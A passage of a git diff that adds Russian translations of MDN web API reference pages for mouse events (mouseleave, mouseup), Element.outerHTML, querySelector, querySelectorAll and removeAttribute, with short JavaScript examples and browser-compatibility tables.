+   <td>{{Spec2('DOM3 Events')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Element.mouseenter_event")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">Introduction to events</a></li>
+ <li>{{domxref("Element/mousedown_event", "mousedown")}}</li>
+ <li>{{domxref("Element/mouseup_event", "mouseup")}}</li>
+ <li>{{domxref("Element/mousemove_event", "mousemove")}}</li>
+ <li>{{domxref("Element/click_event", "click")}}</li>
+ <li>{{domxref("Element/dblclick_event", "dblclick")}}</li>
+ <li>{{domxref("Element/mouseover_event", "mouseover")}}</li>
+ <li>{{domxref("Element/mouseout_event", "mouseout")}}</li>
+ <li>{{domxref("Element/mouseenter_event", "mouseenter")}}</li>
+ <li>{{domxref("Element/mouseleave_event", "mouseleave")}}</li>
+ <li>{{domxref("Element/contextmenu_event", "contextmenu")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/mouseleave_event/index.html b/files/ru/web/api/element/mouseleave_event/index.html
new file mode 100644
index 0000000000..3e0db2c600
--- /dev/null
+++ b/files/ru/web/api/element/mouseleave_event/index.html
@@ -0,0 +1,319 @@
+---
+title: mouseleave
+slug: Web/API/Element/mouseleave_event
+translation_of: Web/API/Element/mouseleave_event
+---
+<div>{{APIRef}}</div>
+
+<p class="summary">Событие <code>mouseleave</code> срабатывает, когда курсор манипулятора (обычно мыши) перемещается за границы элемента.</p>
+
+<p><code>mouseleave</code> <code>и</code> {{event('mouseout')}} схожи, но отличаются тем, что <code>mouseleave</code> не всплывает, а <code>mouseout</code> всплывает.<br>
+ Это значит, что <code>mouseleave</code> срабатывает, когда курсор выходит за границы элемента <em>и</em> всех его дочерних элементов, в то время как <code>mouseout</code> срабатывает, когда курсор покидает границы элемента <em>или</em> одного из его дочерних элементов (даже если курсор все еще находится в пределах элемента).</p>
+
+<table class="standard" style="border: solid 1px;">
+ <tbody>
+  <tr>
+   <td><img alt="mouseenter.png" class="default internal" src="/@api/deki/files/5910/=mouseleave.png"></td>
+   <td><img alt="mouseover.png" class="default internal" src="/@api/deki/files/5911/=mouseout.png"></td>
+  </tr>
+  <tr>
+   <td>Одно <code>mouseleave</code> событие шлётся каждому элементу в иерархии в момент выхода курсора за их границы. Здесь 4 события рассылаются четырём элементам в иерархии когда курсор передвигается от текста к области за границей самого внешнего div элемента представленного на картинке.</td>
+   <td>Одно единственное <code>mouseout</code> событие шлётся самому глубоколежащему элементу в DOM дереве, затем оно поднимается вверх по иерархии пока не будет отменено обработчиком или не достигнет корня.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Специф-ция</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="https://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseleave">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref('MouseEvent')}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Отменяемое</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Цель</dt>
+ <dd style="margin: 0 0 0 120px;">{{cssxref('Element')}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">Нет</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Свойство</th>
+   <th scope="col">Тип</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>Целевой элемент события (вышележащий элемент в DOM дереве).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Тип события.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>Boolean</td>
+   <td>
+    <p>Поднимается ли событие вверх как принято или нет</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><code>Boolean</code></td>
+   <td>Является ли событие отменяемым или нет?</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td>{{domxref("WindowProxy")}}</td>
+   <td>{{domxref("document.defaultView")}} (<code>window</code> объекта document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+  <tr>
+   <td><code>currentTarget</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>Целевой узел (елемент), который используется слушателем события.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>Для <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> и <code>mouseleave</code> событий: цель дополнительного события (<code>mouseleave</code> цель в случае наступления <code>mouseenter</code> события). <code>null</code> иначе.</td>
+  </tr>
+  <tr>
+   <td><code>screenX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>X координата указателя мыши в глобальных (относительно экрана) координатах.</td>
+  </tr>
+  <tr>
+   <td><code>screenY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>Y координата указателя мыши в глобальных (относительно экрана) координатах.</td>
+  </tr>
+  <tr>
+   <td><code>clientX</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>X координата указателя мыши в локальных (относительно DOM содержимого) координатах.</td>
+  </tr>
+  <tr>
+   <td><code>clientY</code> {{readonlyInline}}</td>
+   <td>long</td>
+   <td>Y координата указателя мыши в локальных (относительно DOM содержимого) координатах.</td>
+  </tr>
+  <tr>
+   <td><code>button</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>Всегда 0, так как нажатие любой кнопки не может произвести это событие (mouse movement does).</td>
+  </tr>
+  <tr>
+   <td><code>buttons</code> {{readonlyInline}}</td>
+   <td>unsigned short</td>
+   <td>The buttons depressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are depressed, returns the logical sum of the values. E.g., if Left button and Right button are depressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td>
+  </tr>
+  <tr>
+   <td><code>mozPressure</code> {{readonlyInline}}</td>
+   <td>float</td>
+   <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>The <a href="https://developer.mozilla.org/en-US/docs/Web/Events/mouseout#Example"><code>mouseout</code> </a>documentation has an example illustrating the difference between <code>mouseout</code> and <code>mouseleave</code>.</p>
+
+<p>The following example illustrates how to use <code>mouseout</code>, to simulate the principle of event delegation for the mouseleave event.</p>
+
+<pre class="brush: html">&lt;ul id="test"&gt;
+  &lt;li&gt;
+    &lt;ul class="leave-sensitive"&gt;
+      &lt;li&gt;item 1-1&lt;/li&gt;
+      &lt;li&gt;item 1-2&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+  &lt;li&gt;
+    &lt;ul class="leave-sensitive"&gt;
+      &lt;li&gt;item 2-1&lt;/li&gt;
+      &lt;li&gt;item 2-2&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;script&gt;
+  var delegationSelector = ".leave-sensitive";
+
+  document.getElementById("test").addEventListener("mouseout", function( event ) {
+    var target = event.target,
+        related = event.relatedTarget,
+        match;
+
+    // search for a parent node matching the delegation selector
+    while ( target &amp;&amp; target != document &amp;&amp; !( match = matches( target, delegationSelector ) ) ) {
+        target = target.parentNode;
+    }
+
+    // exit if no matching node has been found
+    if ( !match ) { return; }
+
+    // loop through the parent of the related target to make sure that it's not a child of the target
+    while ( related &amp;&amp; related != target &amp;&amp; related != document ) {
+        related = related.parentNode;
+    }
+
+    // exit if this is the case
+    if ( related == target ) { return; }
+
+    // the "delegated mouseleave" handler can now be executed
+    // change the color of the text
+    target.style.color = "orange";
+    // reset the color after a small amount of time
+    setTimeout(function() {
+        target.style.color = "";
+    }, 500);
+
+
+  }, false);
+
+
+  // function used to check if a DOM element matches a given selector
+  // the following code can be replaced by this IE8 compatible function: https://gist.github.com/2851541
+  function matches( elem, selector ){
+    // the matchesSelector is prefixed in most (if not all) browsers
+    return elem.matchesSelector( selector );
+  };
+&lt;/script&gt;</pre>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>30<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10<sup>[2]</sup></td>
+   <td>5.5</td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{CompatNo}} 15.0<br>
+    17.0</td>
+   <td>7<sup>[3]</sup></td>
+  </tr>
+  <tr>
+   <td>On disabled form elements</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("44.0")}}<sup>[4]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>On disabled form elements</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Реализовано в <a href="https://crbug.com/236215">bug 236215</a>.</p>
+
+<p>[2] Реализовано в {{bug("432698")}}.</p>
+
+<p>[3] Safari 7 генерирует данное событие во многих ситуациях где это не разрешено, тем самым делая целое событие бесполезным. Смотрите <a href="https://crbug.com/470258">bug 470258</a> for the description of the bug (это также присутствовало в старых версиях Chrome). Safari 8 имеет правильное поведение</p>
+
+<p>[4] Реализовано в {{bug("218093")}}.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{Event("mousedown")}}</li>
+ <li>{{Event("mouseup")}}</li>
+ <li>{{Event("mousemove")}}</li>
+ <li>{{Event("click")}}</li>
+ <li>{{Event("dblclick")}}</li>
+ <li>{{Event("mouseover")}}</li>
+ <li>{{Event("mouseout")}}</li>
+ <li>{{Event("mouseenter")}}</li>
+ <li>{{Event("mouseleave")}}</li>
+ <li>{{Event("contextmenu")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/mouseup_event/index.html b/files/ru/web/api/element/mouseup_event/index.html
new file mode 100644
index 0000000000..e3bd450c13
--- /dev/null
+++ b/files/ru/web/api/element/mouseup_event/index.html
@@ -0,0 +1,72 @@
+---
+title: 'Элемент: mouseup событие'
+slug: Web/API/Element/mouseup_event
+translation_of: Web/API/Element/mouseup_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">Событие <strong><code>mouseup</code></strong> возникает на {{domxref("Element")}}, когда кнопка на апаратном манипуляторе курсора (на мыши или трекпаде) отпущена, в то время как указатель находится на элементе.</span> Событие mouseup является противоположным {{domxref("Element.mousedown_event", "mousedown")}} событию.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bubbles</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Отменяемое </th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("MouseEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Event handler property</th>
+   <td>{{domxref("GlobalEventHandlers.onmouseup", "onmouseup")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>{{page("/en-US/docs/Web/API/Element/mousemove_event", "Examples")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events', '#event-type-mouseup', 'mouseup')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#event-type-mouseup', 'mouseup')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{Compat("api.Element.mouseup_event")}}</p>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">Introduction to events</a></li>
+ <li>{{Event("mousedown")}}</li>
+ <li>{{Event("mouseup")}}</li>
+ <li>{{Event("mousemove")}}</li>
+ <li>{{Event("click")}}</li>
+ <li>{{Event("dblclick")}}</li>
+ <li>{{Event("mouseover")}}</li>
+ <li>{{Event("mouseout")}}</li>
+ <li>{{Event("mouseenter")}}</li>
+ <li>{{Event("mouseleave")}}</li>
+ <li>{{Event("contextmenu")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/outerhtml/index.html b/files/ru/web/api/element/outerhtml/index.html
new file mode 100644
index 0000000000..525ac3573e
--- /dev/null
+++ b/files/ru/web/api/element/outerhtml/index.html
@@ -0,0 +1,148 @@
+---
+title: Element.outerHTML
+slug: Web/API/Element/outerHTML
+tags:
+  - Парсинг
+  - Парсинг DOM
+  - Свойство
+  - Сериализация
+  - Ссылка
+translation_of: Web/API/Element/outerHTML
+---
+<p>{{APIRef("DOM")}}</p>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Атрибут <code>outerHTML</code> DOM-интерфейса {{ domxref("element") }} получает сериализованный HTML-фрагмент, описывающий элемент, включая его потомков. Можно установить замену элемента узлами, полученными из заданной строки.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>var content</em> = <em>element</em>.outerHTML;
+</pre>
+
+<p>На выводе, <code>content</code> содержит сериализованный HTML-фрагмент, описывающий <code>element</code> и его потомки.</p>
+
+<pre class="eval"><em>element</em>.outerHTML = content;
+</pre>
+
+<p>Replaces the <code>element</code> with the nodes generated by parsing the string <code>content</code> with the parent of <code>element</code> as the context node for the fragment parsing algorithm.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<p>Получение свойства <code>outerHTML</code> элемента:</p>
+
+<pre class="brush: js">// HTML:
+// &lt;div id="d"&gt;&lt;p&gt;Content&lt;/p&gt;&lt;p&gt;Further Elaborated&lt;/p&gt;&lt;/div&gt;
+
+d = document.getElementById("d");
+console.log(d.outerHTML);
+
+// строка '&lt;div id="d"&gt;&lt;p&gt;Content&lt;/p&gt;&lt;p&gt;Further Elaborated&lt;/p&gt;&lt;/div&gt;'
+// выведена в окно консоли
+</pre>
+
+<p>Замена ветки с помощью изменения свойства <code>outerHTML</code>:</p>
+
+<pre class="brush: js">// HTML:
+// &lt;div id="container"&gt;&lt;div id="d"&gt;Это div.&lt;/div&gt;&lt;/div&gt;
+
+container = document.getElementById("container");
+d = document.getElementById("d");
+console.log(container.firstChild.nodeName); // логирует "DIV"
+
+d.outerHTML = "&lt;p&gt;Этот параграф заменил исходный div.&lt;/p&gt;";
+console.log(container.firstChild.nodeName); // логирует "P"
+
+// div #d больше не часть дерева документа,
+// новый параграф заменил его.
+</pre>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Если у элемента нет родительской ветки, которая не является корневой веткой документа, установка его свойства <code>outerHTML</code> выбросит исключение <code><a href="/en/DOM/DOMException" title="DOMException">DOMException</a></code> с кодом ошибки <code>NO_MODIFICATION_ALLOWED_ERR</code>. Например:</p>
+
+<pre class="brush: js">document.documentElement.outerHTML = "test";  // бросает DOMException
+</pre>
+
+<p>Also, while the element will be replaced in the document, the variable whose <code>outerHTML</code> property was set will still hold a reference to the original element:</p>
+
+<pre class="brush: js">var p = document.getElementsByTagName("p")[0];
+console.log(p.nodeName); // показывает: "P"
+p.outerHTML = "&lt;div&gt;Этот div заменил параграф.&lt;/div&gt;";
+console.log(p.nodeName); // всё ещё "P";
+</pre>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#outerhtml', 'Element.outerHTML')}}</td>
+   <td>{{ Spec2('DOM Parsing') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatGeckoDesktop("11") }}</td>
+   <td>0.2</td>
+   <td>4.0</td>
+   <td>7</td>
+   <td>1.3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("11") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>MSDN: <a class="external" href="http://msdn.microsoft.com/en-us/library/ms534310%28v=vs.85%29.aspx">outerHTML Property</a></li>
+</ul>
diff --git a/files/ru/web/api/element/queryselector/index.html b/files/ru/web/api/element/queryselector/index.html
new file mode 100644
index 0000000000..e06ee20537
--- /dev/null
+++ b/files/ru/web/api/element/queryselector/index.html
@@ -0,0 +1,136 @@
+---
+title: Element.querySelector()
+slug: Web/API/Element/querySelector
+translation_of: Web/API/Element/querySelector
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Возвращает первый элемент, являющийся потомком элемента, на который применено правило указанной группы селекторов.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>element</var> = baseElement.querySelector(<em>selector</em>s);
+</pre>
+
+<ul>
+ <li><code>element</code> и <code>baseElement</code> это {{domxref("element")}} объекты.</li>
+ <li><code>selectors</code> - это группа <a href="/ru-RU/docs/Web/Guide/CSS/Getting_Started/Selectors">селекторов</a> для поиска совпадения.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Данный пример получает первый элемент style, который не имеет атрибута type или этот атрибут равен text/css, в теле (body) HTML документа:</p>
+
+<pre class="brush:js">var el = document.body.querySelector("style[type='text/css'], style:not([type])");
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Возвращает null если совпадения не найдены, иначе первый найденный элемент.</p>
+
+<p>Генерирует исключение <code>SYNTAX_ERR</code>  если указанная группа селекторов не корректна.</p>
+
+<p><code>querySelector()</code> был представлен в WebApps API.</p>
+
+<p>Строка аргументов передаваемая <code>querySelector()</code> должна удовлетворять синтаксису CSS. Более подробные примеры смотрите в {{domxref("document.querySelector")}}.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM4','#dom-parentnode-queryselectorallselectors','querySelectorAll')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 2','#queryselectorall','querySelectorAll')}}</td>
+   <td>{{Spec2('Selectors API Level 2')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 1','#queryselectorall','querySelectorAll')}}</td>
+   <td>{{Spec2('Selectors API Level 1')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatChrome(1) }}<br>
+     </td>
+   <td>
+    <p>{{ CompatGeckoDesktop(1.9.1) }}</p>
+   </td>
+   <td>
+    <p>9 [1]</p>
+   </td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <code>querySelector()</code> поддерживается в IE8, но только для CSS 2.1 селекторов.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("element.querySelectorAll()")}}</li>
+ <li>{{domxref("document.querySelector()")}}</li>
+ <li>{{domxref("document.querySelectorAll()")}}</li>
+ <li><a href="/ru-RU/docs/Code_snippets/QuerySelector">Фрагменты кода для querySelector</a></li>
+</ul>
diff --git a/files/ru/web/api/element/queryselectorall/index.html b/files/ru/web/api/element/queryselectorall/index.html
new file mode 100644
index 0000000000..02ffad4f0e
--- /dev/null
+++ b/files/ru/web/api/element/queryselectorall/index.html
@@ -0,0 +1,69 @@
+---
+title: Element.querySelectorAll()
+slug: Web/API/Element/querySelectorAll
+translation_of: Web/API/Element/querySelectorAll
+---
+<h2 id="Summary" name="Summary">Общая информация</h2>
+
+<p>Возвращает список типа <a href="/ru/docs/Web/API/NodeList">NodeList</a>, состоящий из всех элементов, которые являются потомками для элемента, над которым была выполнена функция и удовлетворяющим условию выборки.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>elementList</em> = baseElement.querySelectorAll(<em>selectors</em>);
+</pre>
+
+<p>где</p>
+
+<ul>
+ <li><code>elementList —</code> результирующий список объектов типа <a href="/ru/docs/Web/API/Element">element</a> (результаты).</li>
+ <li><code>baseElement —</code> <a href="/ru/docs/Web/API/Element">элемент</a>, над которым выполняется функция.</li>
+ <li><code>selectors —</code> <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors">текст селектора</a> для выбора нужных элементов.</li>
+</ul>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<p>Этот пример возвращает список всех элементов с тегом p, которые находятся в теле документа:</p>
+
+<pre class="brush: js notranslate">var matches = document.body.querySelectorAll('p');
+</pre>
+
+<p>Этот пример возвращает список всех элементов с тегом p, которые находятся непосредственно в элементах-контейнерах с тегом div, имеющих класс 'highlighted', которые в свою очередь находятся внутри элемента с идентификатором 'test':</p>
+
+<pre class="brush:js notranslate">var el = document.querySelector('#test');
+var matches = el.querySelectorAll('div.highlighted &gt; p');
+</pre>
+
+<p>Этот пример возвращает список всех элементов iframe, которые имеют атрибут "data-src":</p>
+
+<pre class="brush: js notranslate">var matches = el.querySelectorAll('iframe[data-src]');
+</pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Функция выбрасывает исключение SYNTAX_ERR, если текст селектора неправильный.</p>
+
+<p>querySelectorAll() был представлен как часть WebApps API.</p>
+
+<p>Строка указанная в качестве текста селектора, должна соответствовать синтаксису CSS.</p>
+
+<p>Помните, что возвращённый в качестве результата список <a href="/ru/docs/Web/API/NodeList">NodeList</a> не рекомендуется для использования в циклах (например, в for(...)) в качестве массива, т.к., это не массив в «традиционном» понятии Javascript, а объект типа <a href="/ru/docs/Web/API/NodeList">NodeList</a>, который, хоть и схож по свойствам с массивом, но не является таковым в полной мере (не поддерживает все методы, доступные массиву), так что будьте осторожны.</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div></div>
+
+<p>{{Compat("api.Element.querySelectorAll")}}</p>
+
+<h2 id="Specification" name="Specification">Ссылки на спецификации</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/selectors-api/" title="http://www.w3.org/TR/selectors-api/">Selectors API</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/Document.querySelectorAll" title="DOM/document.querySelectorAll"><code>document.querySelectorAll</code></a></li>
+ <li><a href="/en-US/docs/DOM/Document.querySelector" title="DOM/document.querySelector"><code>document.querySelector</code></a></li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector" title="Code_snippets/QuerySelector">Сниппеты для <code>querySelector</code></a></li>
+</ul>
diff --git a/files/ru/web/api/element/removeattribute/index.html b/files/ru/web/api/element/removeattribute/index.html
new file mode 100644
index 0000000000..22bdfb22c2
--- /dev/null
+++ b/files/ru/web/api/element/removeattribute/index.html
@@ -0,0 +1,36 @@
+---
+title: Element.removeAttribute()
+slug: Web/API/Element/removeAttribute
+translation_of: Web/API/Element/removeAttribute
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code>removeAttribute</code> удаляет аттрибут с элемента.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>element</em>.removeAttribute(<em>attrName</em>);
+</pre>
+
+<ul>
+ <li><code>attrName</code> строка, имя аттрибута который должен быть удален с <em>element</em>.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre>// &lt;div id="div1" align="left" width="200px"&gt;
+document.getElementById("div1").removeAttribute("align");
+// now: &lt;div id="div1" width="200px"&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Вы должны использовать removeAttribute вместо того, чтобы устанавливать значение атрибута в null, используя <a href="/en/DOM/element.setAttribute" title="en/DOM/element.setAttribute">setAttribute</a>.</p>
+
+<p>Попытка удаления аттрибута, которого нет на элементе не вызывает ошибки.</p>
+
+<p>{{ DOMAttributeMethods() }}</p>
+
